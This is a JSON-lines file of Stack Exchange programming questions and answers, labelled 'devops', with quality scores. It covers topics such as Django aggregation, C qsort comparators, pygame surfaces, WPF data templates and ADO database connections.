{"id": "hf_d8abd6d46ac1", "question": "<p>This is often situation, but here is latest example: </p>\n\n<p>Companies have various contact data (addresses, phone numbers, e-mails...) when they make job ad, they have checkboxes where they choose how they want to be contacted. It is basically descriptive data. User when reading an ad sees something like \"You can apply by mail, in person...\", <em>except</em> if it's \"through web portal\" or \"by e-mail\" because then appropriate buttons should appear. These options are stored in database, and client (owner of the site, not company making an ad) can change them (e.g. they can add \"by telepathy\" or whatever), yet if they tamper with \"e-mail\" and \"web-portal\" options, they screw their web site.</p>\n\n<p>So how should I handle data where everything behaves same way except \"this thing\" that behaves this way, and \"that thing\" that behaves some other way, and data itself is live should be editable by client. </p>\n", "question_body": "", "answer": "You've tagged your question as \"language-agnostic\", and not all languages cleanly support polymorphism, but that's the way I would approach this.\nEach option has some type, and different types require different properties to be set. However, every type supports some sort of \"render\" method that can display the contact method as needed. Since the properties (phone number, or web address, etc.) are type-specific, you can validate the administrator's input when creating these \"objects\", to make sure that the necessary data is provided and valid. Since you implement the render method, rather than spitting out HTML provided by a user, you can ensure that the rendered page is correct. It's less flexible, but safer and more user friendly.\nIn the database, you can have one sparsely populated table that holds data for all types of contacts, or a \"parent\" table with common properties and sub-tables with type-specific properties. It depends on how many types you have and how different they are. In either case, you would have some sort of type indicator, so that you know the type of object to which the data should be be bound.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:00.120342"}
{"id": "hf_d2d196cfae8f", "question": "<p>I have a Java object which is able to configure itself given an XML configuration description (it takes other descriptions as well, but I'm interested in the XML at the moment). I'm wondering if I can embed the XML description directly into a Spring application context description. I'm imagining something like:</p>\n\n<pre><code>&lt;bean id=\"myXMLConfiguredBean\" class=\"com.example.Foo\"&gt;\n  &lt;constructor-arg type=\"xml\"&gt;\n    &lt;myconfig xmlns=\"http://example.com/foo/config\"&gt;\n      &lt;bar&gt;42&lt;/bar&gt;\n    &lt;/myconfig&gt;\n  &lt;/constructor-arg&gt;\n&lt;/bean&gt;\n</code></pre>\n\n<p>but I have no idea if that - or something like it - is possible. I realise I could embed myconfig in a CDATA section, but that seems a bit ugly.</p>\n", "question_body": "", "answer": "Spring's\nXSD\nallows\n```\n<constructor-arg>\n```\nto contain any XML through:\n```\n```\n<xsd:element name=\"constructor-arg\">\n  <xsd:complexType>\n    <xsd:sequence>\n      <xsd:element ref=\"description\" minOccurs=\"0\" />\n        <xsd:choice minOccurs=\"0\" maxOccurs=\"1\">\n          <xsd:element ref=\"bean\" />\n          <xsd:element ref=\"ref\" />\n          <xsd:element ref=\"idref\" />\n          <xsd:element ref=\"value\" />\n          <xsd:element ref=\"null\" />\n          <xsd:element ref=\"list\" />\n          <xsd:element ref=\"set\" />\n          <xsd:element ref=\"map\" />\n          <xsd:element ref=\"props\" />\n          <!-- Any XML -->\n          <xsd:any namespace=\"##other\" processContents=\"strict\" />\n        </xsd:choice>\n      </xsd:sequence>\n      ...\n  </xsd:complexType>\n</xsd:element>\n```\n```\nWhere the\n```\nprocessContents\n```\nattribitutes can have one of\nthree values\nstrict: There must be a top-level declaration for the item available, or the item must have an\n```\nxsi:type\n```\n, and the item must be ·valid· as appropriate.\nSo, so long as your config XML has a schema, and you import it correctly, this should work.\nThen, you would need to register a\nPropertyEditor\nfor your XML using\nCustomEditorConfigurer\nHope this helps", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:00.155553"}
{"id": "hf_f9e88ac2d983", "question": "<p>I have a J2EE-based system which is running currently on Apache Tomcat. We are in discussions to move our production servers to the Glassfish server.</p>\n\n<p>Can someone share their experiences with either of them?</p>\n", "question_body": "", "answer": "Here's\nquite an old comparison\n. As such, the capabilities of each server have doubtless improved.\nEdit: Here is\na current comparison.\nBoth are more than stable enough for production use though. It's really going to come down to features.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:00.215258"}
{"id": "hf_dd318415b0fc", "question": "<p>I have a model that looks like this:</p>\n\n<pre><code>class Category(models.Model):\n    name = models.CharField(max_length=60)\n\nclass Item(models.Model):\n    name = models.CharField(max_length=60)\n    category = models.ForeignKey(Category)\n</code></pre>\n\n<p>I want select count (just the count) of items for each category, so in SQL it would be as simple as this:</p>\n\n<pre><code>select category_id, count(id) from item group by category_id\n</code></pre>\n\n<p>Is there an equivalent of doing this \"the Django way\"? Or is plain SQL the only option? I am familiar with the <em>count( )</em> method in Django, however I don't see how <em>group by</em> would fit there.</p>\n", "question_body": "", "answer": "(\nUpdate\n: Full ORM aggregation support is now included in\nDjango 1.1\n. True to the below warning about using private APIs, the method documented here no longer works in post-1.1 versions of Django.  I haven't dug in to figure out why; if you're on 1.1 or later you should use the real\naggregation API\nanyway.)\nThe core aggregation support was already there in 1.0; it's just undocumented, unsupported, and doesn't have a friendly API on top of it yet.  But here's how you can use it anyway until 1.1 arrives (at your own risk, and in full knowledge that the query.group_by attribute is not part of a public API and could change):\n```\n```\nquery_set = Item.objects.extra(select={'count': 'count(1)'}, \n                               order_by=['-count']).values('count', 'category')\nquery_set.query.group_by = ['category_id']\n```\n```\nIf you then iterate over query_set, each returned value will be a dictionary with a \"category\" key and a \"count\" key.\nYou don't have to order by -count here, that's just included to demonstrate how it's done (it has to be done in the .extra() call, not elsewhere in the queryset construction chain).  Also, you could just as well say count(id) instead of count(1), but the latter may be more efficient.\nNote also that when setting .query.group_by, the values must be actual DB column names ('category_id') not Django field names ('category').  This is because you're tweaking the query internals at a level where everything's in DB terms, not Django terms.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:00.261059"}
{"id": "hf_32748459dd93", "question": "<p>A simple problem: If i use escape characters for a property such as</p>\n\n<pre><code>&lt;mx:Image  id=\"img\" toolTip=\"\\\\foo{\\\\bar}\"\n</code></pre>\n\n<p>It wont validate toolTip and therefore not compile.</p>\n\n<p>What is the solution ?</p>\n", "question_body": "", "answer": "You can use ActionScipt for example in a creationComplete event handler and assign you tooltip and you won't have the same constraints as in MXML.\nBut you also can avoid these constraints in MXML by using CDATA:\n```\n```\n<mx:Image id=\"img\" source=\"foo.jpg\" width=\"50\" height=\"50\">\n<mx:toolTip>\n    <![CDATA[\\foo{\\bar} or any usually forbidden characters as <, >, &, \"'\"...]]>\n</mx:toolTip></mx:Image>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:00.341571"}
{"id": "hf_22af25697136", "question": "<p>My goal is to implements different image classification methods to show how they function and the advantages and disadvantages behind such methods. The ones I want to try and implement using Java include; </p>\n\n<p>Minimum distance classifier</p>\n\n<p>k-nearest neighbour classifier.</p>\n\n<p>I was wondering what can be used to accomplish my task that already exists in Java so that I can alter the way the algorithms operates.</p>\n", "question_body": "", "answer": "Although not entirely sure this is what you are looking for (sorry, your question is a bit unclear), if what you want is a library / system to help you with the\nclassification\npart of the work, then you may want to look at Weka (\nhttp://www.cs.waikato.ac.nz/ml/weka/\n), in my opinion the best Java library for data mining experimentation.\nIf, instead, you are looking for algorithms that would allow you to analyze images in order to extract features that can, in turn, be used to perform the classification, you may want to start with targeted descriptions of such algorithms in Java, such as those found in the nice on-line book\nJava Image Processing Cookbook\nby Rafael Santos; here's a\ndirect link to the section \"A Brief Tutorial on Supervised Image Classification\"\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:00.363563"}
{"id": "hf_9dd8547698b8", "question": "<p>I have a list of input words separated by comma.  I want to sort these words by alphabetical and length.  How can I do this without using the built-in sorting functions?</p>\n", "question_body": "", "answer": "There is an entire area of study built around\nsorting algorithms\n.  You may want to choose a simple one and implement it.\nThough it won't be the most performant, it shouldn't take you too long to implement a\nbubble sort\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:00.387366"}
{"id": "hf_b83ec035cf81", "question": "<p>any tool to generate incremental release script for oracle database.</p>\n\n<p>like Redgate DBComparer for SQLServer.</p>\n", "question_body": "", "answer": "See\nhere\n.\nOther links, tools:\nhttp://www.sqlmanager.net/de/products/oracle/dbcomparer\nhttp://www.sqldelta.com/oraclebeta.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:00.410962"}
{"id": "hf_c3552afd777b", "question": "<p>I have a structure:</p>\n\n<pre><code>struct pkt_\n{\n  double x;\n  double y;\n  double alfa;\n  double r_kw;\n};\n\ntypedef struct pkt_ pkt;\n</code></pre>\n\n<p>A table of these structures:</p>\n\n<pre><code>pkt *tab_pkt;\n\ntab_pkt = malloc(ilosc_pkt * sizeof(pkt));\n</code></pre>\n\n<p>What I want to do is to sort <code>tab_pkt</code> by <code>tab_pkt.alfa</code> and <code>tab_pkt.r</code>:</p>\n\n<pre><code>qsort(tab_pkt, ilosc_pkt, sizeof(pkt), porownaj);\n</code></pre>\n\n<p>Where porownaj is a compare function, but how to write it? Here is my \"sketch\" of it:</p>\n\n<pre><code>int porownaj(const void *pkt_a, const void *pkt_b)\n{\n  if (pkt_a.alfa &gt; pkt_b.alfa &amp;&amp; pkt_a.r_kw &gt; pkt_b.r_kw) return 1;\n  if (pkt_a.alfa == pkt_b.alfa &amp;&amp; pkt_a.r_kw == pkt_b.r_kw) return 0;\n  if (pkt_a.alfa &lt; pkt_b.alfa &amp;&amp; pkt_a.r_kw &lt; pkt_b.r_kw) return -1;\n}\n</code></pre>\n", "question_body": "", "answer": "There are two parts to the problem - how to write the code, and how to compare the packet types.  You must ensure you always return a value.  Your code should also always be such that:\n```\n```\nporownaj(&pkt_a, &pkt_b) == -porownaj(&pkt_b, &pkt_a)\n```\n```\nYour outline comparison does not handle cases such as:\n```\n```\npkt_a->alfa >  pkt_b->alfa && pkt_a->r_kw <= pkt_b->r_kw\npkt_a->alfa <  pkt_b->alfa && pkt_a->r_kw >= pkt_b->r_kw\npkt_a->alfa == pkt_b->alfa && pkt_a->r_kw != pkt_b->r_kw\n```\n```\nThere is one more problem - is it appropriate to compare floating point values for exact equality?  That will depend on your application.\nMechanically, you have to convert the const void pointers to const structure pointers.  I use the explicit cast - C++ requires it, and I try to make my code acceptable to a C++ compiler even when it is really C code.\n```\n```\nint porownaj(const void *vp1, const void *vp2)\n{\n     const pkt *pkt_a = (const pkt *)vp1;\n     const pkt *pkt_b = (const pkt *)vp2;\n\n     if (pkt_a->alfa >  pkt_b->alfa && pkt_a->r_kw >  pkt_b->r_kw) return 1;\n     if (pkt_a->alfa == pkt_b->alfa && pkt_a->r_kw == pkt_b->r_kw) return 0;\n     if (pkt_a->alfa <  pkt_b->alfa && pkt_a->r_kw <  pkt_b->r_kw) return -1;\n     return 0;\n }\n```\n```\nThis does not deal with the bits that I cannot resolve since I am not party to the necessary information.  Note that, in general, multi-dimensional objects (such as complex numbers, or (x,y) or (x,y,z) coordinates) cannot simply be compared for greater than or less than or equal to.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:00.493127"}
{"id": "hf_3506cb9f49eb", "question": "<p>I would like to draw lines (of arbitrary position and length) onto a surface in pygame, which itself is an image loaded from a file on disk.</p>\n\n<p>Can anyone point me to some example code that does this?</p>\n", "question_body": "", "answer": "Help on module pygame.draw in pygame:\nNAME\n    pygame.draw - pygame module for drawing shapes\nFILE\n    d:\\program files\\python25\\lib\\site-packages\\pygame\\draw.pyd\nFUNCTIONS\n    aaline(...)\n        pygame.draw.aaline(Surface, color, startpos, endpos, blend=1): return Rect\n        draw fine antialiased lines\n```\n```\naalines(...)\n    pygame.draw.aalines(Surface, color, closed, pointlist, blend=1): return Rect\n\narc(...)\n    pygame.draw.arc(Surface, color, Rect, start_angle, stop_angle, width=1): return Rect\n    draw a partial section of an ellipse\n\ncircle(...)\n    pygame.draw.circle(Surface, color, pos, radius, width=0): return Rect\n    draw a circle around a point\n\nellipse(...)\n    pygame.draw.ellipse(Surface, color, Rect, width=0): return Rect\n    draw a round shape inside a rectangle\n\nline(...)\n    pygame.draw.line(Surface, color, start_pos, end_pos, width=1): return Rect\n    draw a straight line segment\n\nlines(...)\n    pygame.draw.lines(Surface, color, closed, pointlist, width=1): return Rect\n    draw multiple contiguous line segments\n\npolygon(...)\n    pygame.draw.polygon(Surface, color, pointlist, width=0): return Rect\n    draw a shape with any number of sides\n\nrect(...)\n    pygame.draw.rect(Surface, color, Rect, width=0): return Rect\n    draw a rectangle shape\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:00.530294"}
{"id": "hf_4b6db8efd332", "question": "<p>Ok, i have simple scenario:</p>\n\n<p>have two pages:\nlogin and welcome pages.\nim using FormsAuthentication with my own table that has four columns: ID, UserName, Password, FullName</p>\n\n<p>When pressed login im setting my username like:</p>\n\n<pre><code>FormsAuthentication.SetAuthCookie(userName, rememberMe ?? false);\n</code></pre>\n\n<p>on the welcome page i cant use:</p>\n\n<pre><code>Page.User.Identity.Name\n</code></pre>\n\n<p>to provide to user which user currently logged, BUT i dont user username like at all examples in <a href=\"http://asp.net\" rel=\"nofollow noreferrer\">http://asp.net</a> web site i want to user FullName field</p>\n\n<p>i think that always go to db and request fullname when page loads its crazy and dont like to user Sessions or Simple Cookie mayby FormsAuth provider has custom fields for this</p>\n", "question_body": "", "answer": "Forms authentication works using cookies.  You could construct your own auth cookie and put the full name in it, but I think I would go with putting it into the session.  If you use a cookie of any sort, you'll need to extract the name from it each time.   Tying it to the session seems more natural and makes it easy for you to access.  I agree that it seems a waste to go back to the DB every time and I would certainly cache the value somewhere.\nInfo on constructing your own forms authentication cookie can be found\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:00.576143"}
{"id": "hf_906831403a47", "question": "<p>Every PHP programmer likely uses at least some form of a template engine and a database abstraction layer, but apart from those what extras do you consider essential or would  recommend your fellow programmers try out?</p>\n", "question_body": "", "answer": "A good framework.\nPHP has many to choose from:\nZend's\n,\nSolar\n,\nCakePHP\n,\nSymfony\n,\nKohana\n. A good framework will take of most of the tedious parts of application development, allowing you to spend more time on implementing project-specific domain logic. A framework will also help enforce a consistent coding style, usually has plenty of documentation and most are very well tested and stable overall.\nA good IDE.\nFor any serious developer a good IDE is a must. Project organization, directory navigation, code-completion and various useful extensions (for example, for file versioning systems) are all big productivity boosters. PHP has several good IDE's including\nZend Studio\nand\nPDT for Eclipse\n.\nBuild system.\nBuild scripts are useful for automatic repetitive tasks such as setting directory/file permissions, SVN updates, running tests and so forth before moving a project between phases (dev / staging / production). I use mainly\nPhing\n(an\nAnt\nclone) for building and deploying projects.\nProfiling and debugging tools.\nThose two needs are solved by same tool -\nxdebug\n, which offers improved debugging capabilities and can also generate\nkcachegrind\nreports for profiling your application. I then use\nwebgrind\nto access those reports.\nOp-code cache.\nPHP incurs a major performance hit from its run-time complilation scheme.\nOp-code caches\ndo wonders to improve on this by caching scripts in their compiled state, avoiding the overhead of compilation on cache hit. I use\nAPC\nas my op-code cache when I have the opportunity.\nVarious open-source packages.\nPHP being open-source as a language, has a long tradition of open-source development. There are many high-quality / useful packages for most common (and some uncommon) needs, which can save major development time. I've used\nwordpress\nand\njoomla\nas blogging platforms,\nHTML Purifier\nfor sanitizing and validating HTML,\nminify\nfor minifying and concatenating CSS and Javascript among others.\nSource file versioning.\nA must regardless of programming language. I use\nSVN\nwith a\ntortoise\nclient (for windows).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:00.672964"}
{"id": "hf_8885eee4b320", "question": "<p>Is it possible to write connect and open a SQL Compact 3.5 database from within MS Access 2003?  I want to be able to use MS Access 2003 to manipulate data in a SQL Compact 3.5 database.  If it is possible, then what statements would be used to open the database?</p>\n", "question_body": "", "answer": "Though I did not try it specifically with SQL Compact, connecting to the server should be standard:\nCheck that the ADODB file (msado21.tlb) is correctly refernced in your available tools\nWrite down your connection string somewhere like this one:\nMyConnectionString = \"Provider=SQLOLEDB.1;Integrated Security=SSPI;Persist Security Info=False;Initial Catalog=YourDatabaseName;Data Source=YourSQLServerInstanceName\"\nThis string is written for an 'integrated security' context. In cas you want to change it for an SQL security context, please check\nhere\nto update the string. Ideally, this string should be declared as a public variable in your code.\nOnce this is done, you can open an ADODB recordset and begin to manipulate it:\n```\n```\npublic sub connectionTest\nDim activeConnection as ADODB.connection, _\n    activeRecordset as ADODB.recordset\n\nSet activeConnection = New ADODB.connection\nactiveConnection.connectionString = myCOnnectionString\nactiveConnection.open\n\nset activeRecordset = New ADODB.recordset\n'this will open a read-only recordset'\nactiveRecordset.open _\n    \"SELECT * FROM myTableName\", _\n    activeConnection, _\n    adOpenStatic, _\n    adLockReadOnly\n\nif activeRecordset.EOF and activeRecordset.BOF then\n    debug.print \"No records in this table\"\nelse\n    activeRecordset.moveFirst\n    do while not activeRecordset.EOF\n        debug.print activerecordset.fields(\"myFieldName\").value\n        activeRecordset.moveNext\n    loop\nendif\n\nactiveRecordset.close\nset activeRecordset = nothing\nactiveConnection.close\nset activeConnection = nothing\n\nend sub\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:00.696001"}
{"id": "hf_8e587d375bbb", "question": "<p>Say I have an interface like this:</p>\n\n<pre><code>public interface ISomeInterface\n{\n...\n}\n</code></pre>\n\n<p>I also have a couple of classes implementing this interface;</p>\n\n<pre><code>public class SomeClass : ISomeInterface\n{\n...\n}\n</code></pre>\n\n<p>Now I have a WPF ListBox listing items of ISomeInterface, using a custom DataTemplate.</p>\n\n<p>The databinding engine will apparently not (that I have been able to figure out) allow me to bind to interface properties - it sees that the object is a SomeClass object, and data only shows up if SomeClass should happen to have the bound property available as a non-interface property. </p>\n\n<p>How can I tell the DataTemplate to act as if every object is an ISomeInterface, and not a SomeClass etc.?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "The short answer is DataTemplate's do not support interfaces (think about multiple inheritance, explicit v. implicit, etc). The way we tend to get around this is to have a base class things extend to allow the DataTemplate specialization/generalization. This means a decent, but not necessarily optimal, solution would be:\n```\n```\npublic abstract class SomeClassBase\n{\n\n}\n\npublic class SomeClass : SomeClassBase\n{\n\n}\n\n<DataTemplate DataType=\"{x:Type local:SomeClassBase}\">\n    <!-- ... -->\n</DataTemplate>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:00.718537"}
{"id": "hf_3662a955d8e8", "question": "<p>If you have a C# function with Sqlaccess, is it mandatory to close all objects/handles, or is everything cleaned up automatically once you exit the function</p>\n\n<p>For example:</p>\n\n<pre><code>void DoSqlStuff()\n{\n    SqlConnection sqlConn = new SqlConnection(...);\n    SqlCommand cmd = new SqlCommand(...);\n    SqlDataReader sqlData= null;\n\n    sqlConn,Open();\n    sqlData = cmd.ExecutReader();\n\n\n    while(sqlData.Read())\n    {\n         ...\n    }\n}\n</code></pre>\n\n<p>Is it optional, recommended or mandatory to close SqlConn and SqlData?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "You should close the SqlConnection object as soon as you're done with it.  If you don't then the connection will remain open, and will not be available to handle other requests.\nThe using statement is useful for this.  It will call Dispose() on the object for you:\n```\n```\nusing (SqlConnection cn = new SqlConnection(connectionString))\n{   \n    SqlCommand cm = new SqlCommand(commandString, cn)\n    cn.Open();\n    cm.ExecuteNonQuery();       \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:00.768094"}
{"id": "hf_db9d7de339c5", "question": "<p>I am trying to input data from a .txt file into a scheme structure.  Each element is separated by a tab in the data file and each structure set is on a new line.  I want to be able to read in the data from one line into a structure and make a list of each structure set in the file.  Any suggestions?</p>\n", "question_body": "", "answer": "Sounds like a CSV file with tabs instead of commas. If you're using PLT Scheme (DrScheme/mzscheme)\nneil's csv library is probably what you want.\nHere is the documentation\n.\nHere is how to load it remotely:\n```\n```\n(require (planet neil/csv:1:2/csv))\n```\n```\nAt least, that's what the instructions say. On my slightly oodate DrScheme, this is what worked:\n```\n```\n(require (planet \"csv.ss\" (\"neil\" \"csv.plt\" 1 (= 1))))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:00.802836"}
{"id": "hf_07265cb0630f", "question": "<p>I've noticed on bank websites, etc, my user IDs aren't saved (they don't appear in a dropdown like other commonly entered stuff does) and there's no prompt for it to remember your password. How is this done? How do the sites notify the browser that they are in 'special' or else exceptions? Just curious.</p>\n", "question_body": "", "answer": "Usually you just need to put the autocomplete=\"off\" into the form or field you want to block.\nKeep in mind that users can get around this with a scriptlet, plugin, or grease-monkey script.\nhttps://developer.mozilla.org/en/How_to_Turn_Off_Form_Autocompletion#Exceptions_and_Recommended_Workarounds\nhttp://msdn.microsoft.com/en-us/library/ms533032(VS.85).aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:00.827682"}
{"id": "hf_9ecc957f58c1", "question": "<p>I have an enum </p>\n\n<pre><code>public enum FileExtentions {\n    mp3,\n    mpeg\n}\n</code></pre>\n\n<p>And I have a FileInfo of which I want to check if the extension is in the previous enum.\nI was hoping I could do a </p>\n\n<pre><code>FileExtensions.Any(e=&gt;e.ToString().Equals(file.Extension));\n</code></pre>\n\n<p>But that would have been too awesome.\nAny ideas?</p>\n", "question_body": "", "answer": "While pressing submit I thought of the answer myself:\n```\n```\nEnum.GetNames(typeof(FileExtensions)).Any(f=>f.Equals(\".\"+file.Extension))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:00.856729"}
{"id": "hf_68002138c2f5", "question": "<p>Can someone give me some example code that creates a surface with a transparent background in pygame?</p>\n", "question_body": "", "answer": "This should do it:\n```\n```\nimage = pygame.Surface([640,480], pygame.SRCALPHA, 32)\nimage = image.convert_alpha()\n```\n```\nMake sure that the color depth (32) stays explicitly set else this will not work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:00.917892"}
{"id": "hf_a5fc123759d6", "question": "<p>Let's say you have a two dimensional plane with 2 points (called a and b) on it represented by an x integer and a y integer for each point.</p>\n\n<p>How can you determine if another point c is on the line segment defined by a and b?</p>\n\n<p>I use python most, but examples in any language would be helpful.</p>\n", "question_body": "", "answer": "Check if the cross product of\n```\nb-a\n```\nand\n```\nc-a\n```\nis\n```\n0\n```\n: that means all the points are collinear. If they are, check if\n```\nc\n```\n's coordinates are between\n```\na\n```\n's and\n```\nb\n```\n's. Use either the x or the y coordinates, as long as\n```\na\n```\nand\n```\nb\n```\nare separate on that axis (or they're the same on both).\n```\n```\ndef is_on(a, b, c):\n    \"Return true iff point c intersects the line segment from a to b.\"\n    # (or the degenerate case that all 3 points are coincident)\n    return (collinear(a, b, c)\n            and (within(a.x, c.x, b.x) if a.x != b.x else \n                 within(a.y, c.y, b.y)))\n\ndef collinear(a, b, c):\n    \"Return true iff a, b, and c all lie on the same line.\"\n    return (b.x - a.x) * (c.y - a.y) == (c.x - a.x) * (b.y - a.y)\n\ndef within(p, q, r):\n    \"Return true iff q is between p and r (inclusive).\"\n    return p <= q <= r or r <= q <= p\n```\n```\nThis answer used to be a mess of three updates. The worthwhile info from them: Brian Hayes's\nchapter\nin\nBeautiful Code\ncovers the design space for a collinearity-test function -- useful background.\nVincent's answer\nhelped to improve this one. And it was Hayes who suggested testing only one of the x or the y coordinates; originally the code had\n```\nand\n```\nin place of\n```\nif a.x != b.x else\n```\n.\n(This is coded for exact arithmetic with integers or rationals; if you pass in floating-point numbers instead, there will be problems with round-off errors. I'm not even sure what's a good way to define betweenness of 2-d points in float coordinates.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:00.942084"}
{"id": "hf_632ddf7b6ddb", "question": "<p>I have one table that saves comments for a varied set of content types. These are saved in other tables (news, articles, users). \nI wonder what's the best way to connect these tables?\nIn previous projects I used a second table for each kind of content. They held the id of the certain content mapped to ids of the comments table. So for each comment I had the comment entry itself and a 'connector' entry.\nAn alternative would be to use a separate comments table for any kind of content.\nAt the end both ways contain some redundancy flaw.</p>\n\n<p>So which one should I use or is there the ONE solution?</p>\n", "question_body": "", "answer": "I would probably have a separate comments table for each content table so that I could take advantage of the foreign key relationships to automatically manage updates/deletes when the original content is changed/deleted.  So if I had news and articles tables, then I would have news_comments and article_comments tables.  Each of these would have a content_id field and a user_id field.  The content_id field would refer back to the content table and user_id field would refer back to the users table.  I'd set up foreign key relationships between the appropriate content and comment table and the users and each comment table and have the changes propagate on update/delete.  You might also want to set up indices on the id fields so that you are doing index joins between them.\nIf you have a single comments table, you would have to manage the relationships manually in code rather than having the DB handle it for you -- since you can only have the FK relate to  one other table.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:00.965833"}
{"id": "hf_1c2ddd50c620", "question": "<p>I'm in a hypothetical situation in which I need to list students in a school. I have one table view controller that has several sections, representing a school. Each school has subsequent students. Now, I have the requirement to give the user the capability to view all students for a particular school by clicking on the school name in a top level view of my navigation controller.</p>\n\n<p>The question here is, do I branch out my current \"StudentsViewController\" and add complex logic in order to allow it to display an individual School's students, or would you experts recommend a new class to handle that table?</p>\n\n<p>The tradeoffs are rather straight forward in that I can indeed probably put everything in one view controller at the cost of some confusing/complex logic. On the other hand, there will be a great deal of repeated code if I write another controller that handles an individual school's students.</p>\n\n<p>What do the experts recommend on this one?</p>\n", "question_body": "", "answer": "I think it would depend on the model you are using to hold your data.\nLets say you have an array of arrays,\n(array of schools, each school holds an array of students.)\nIn this case, I would stick with one tableController.\nThe logic doesn't have to be hairy if your model design is simple, and I think it would be cleaner and \"more correct\" than multiple subclasses in this case.\nDon't forget anywhere the system passes you an\nNSIndexPath\nyou have the section and row numbers. (\nSchool\nand\nStudent\n)\nindexPath.section\nand\nindexPath.row", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:01.035274"}
